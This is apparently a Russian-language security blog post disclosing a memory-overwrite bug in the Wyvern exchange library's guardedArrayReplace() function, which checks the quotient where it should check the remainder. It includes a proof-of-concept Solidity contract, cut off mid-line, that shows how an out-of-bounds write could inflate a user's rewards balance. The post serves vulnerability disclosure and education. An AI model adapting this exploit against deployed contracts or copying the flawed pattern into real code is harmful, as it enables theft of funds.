Back to Blog

В протоколе Wyvern обнаружена новая уязвимость перезаписи памяти

Code Auditing
September 8, 2022
3 min read

Введение

Наша система обнаружения уязвимостей нашла уязвимость перезаписи памяти в последней реализации библиотеки Wyvern, которая принадлежит протоколу децентрализованной биржи Wyvern, ранее использовавшемуся OpenSea. Эта ошибка может привести к произвольной записи в хранилище (arbitrary storage write).

Мы пытались связаться с проектом (например, по электронной почте и через социальные сети), но пока не получили ответа. Поскольку OpenSea перешла на протокол Seaport, мы считаем безопасным раскрыть подробную информацию общественности. Кроме того, мы хотели бы поделиться этими результатами для вовлечения сообщества, так как сама ошибка довольно хитрая, а процесс эксплуатации весьма интересен.

Описание

Уязвимый код можно найти в официальном репозитории с хешем коммита 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.

В частности, эта ошибка находится в функции guardedArrayReplace() в файле ArrayUtils.sol. Как следует из названия, эта функция используется для выборочного копирования одного байтового массива динамического размера (т.е. второго параметра с именем desired) в другой (т.е. первого параметра с именем array). Обратите внимание, что эта функция реализована для выполнения операции на уровне слов (т.е. 0x20 байт), поэтому логику кода можно разделить на два шага, основываясь на результате деления.

Для части с частным (т.е. words = array.length / 0x20) логика кода со строки 42 по строку 49 будет копировать желаемый массив в целевой массив пословно. Этот шаг работает ожидаемо, хотя оператор assert в строке 39 бесполезен из-за целочисленной арифметики.

После предыдущего шага, если деление дает остаток, это означает, что все еще существуют байты, которые не были корректно скопированы. Логика кода со строки 52 по строку 66 предназначена для обработки этих байтов. К сожалению, инструкция if в строке 52 ошибочно использует частное (words, то есть array.length / 0x20_), а не остаток (array.length % 0x20) для выполнения проверки.

Уровень серьезности

Эта ошибка может привести к произвольной записи в хранилище. Предположим, что array.length делится на 0x20 нацело, тогда операция копирования фактически выполняется в логике цикла. Однако в большинстве случаев функция войдет в уязвимую логику и попытается скопировать слово за пределами массива desired в целевой массив, что неизбежно вызывает выход за границы памяти (out-of-bounds access). Более того, неверная логика может быть использована для перезаписи слова в конце целевого массива — в неизвестную область памяти, которая может быть использована в любых целях.

Как эксплуатировать эту ошибку?

Мы разработали PoC-контракт, чтобы проиллюстрировать потенциальный вектор атаки. PoC-контракт имеет две функции: первая, названная test(), используется для выполнения атаки, а вторая — это просто та самая уязвимая функция guardedArrayReplace().

В частности, в функции test() мы сначала определяем байты в памяти (a, b и mask) и массив (т.е. _rewards). Определенный здесь _rewards будет использоваться для расчета вознаграждений пользователя. После вызова функции guardedArrayReplace() для копирования a в b с использованием mask, значение _rewards будет добавлено к балансу пользователя (т.е. balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt
Sign up for the latest updates
Информационный бюллетень — июнь 2026 г.
Security Insights

Информационный бюллетень — июнь 2026 г.

Отчёт за июнь 2026: три крупнейших инцидента с общими потерями ~$22M. Honeypot атака опустошила MEV-бот на ~$15M. Уязвимости Aztec rollup привели к потере ~$4.35M. Ошибка Ed25519 в SecondFi раскрыла ключи 374 кошельков (~$2.4M).

~$4M потеряно: эксплойты Taiko и SecondFi | Еженедельник BlockSec
Security Insights

~$4M потеряно: эксплойты Taiko и SecondFi | Еженедельник BlockSec

Отчёт за 22–28 июня 2026: два инцидента, ~$4,1М потерь. Эксплойт Taiko: утечка ключа SGX + неполная политика аттестации → подделка L2-доказательств. SecondFi: уязвимость Ed25519 (нонс без секрета) → восстановление приватных ключей Cardano.

~$18 млн потеряно: jaredFromSubway, Aztec и другие | Еженедельник BlockSec
Security Insights

~$18 млн потеряно: jaredFromSubway, Aztec и другие | Еженедельник BlockSec

Еженедельный отчёт о безопасности блокчейна (15–21 июня 2026): 3 инцидента в Ethereum и BNB Chain, ~$18,3M потерь. Атака на MEV-бот jaredFromSubway (~$15M): бот одобрял свои активы недоверенным контрактам. Злоумышленник создал фиктивные токены и пулы. Также: эксплойт Aztec — отсутствие ограничения равенства в ZK-схеме.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit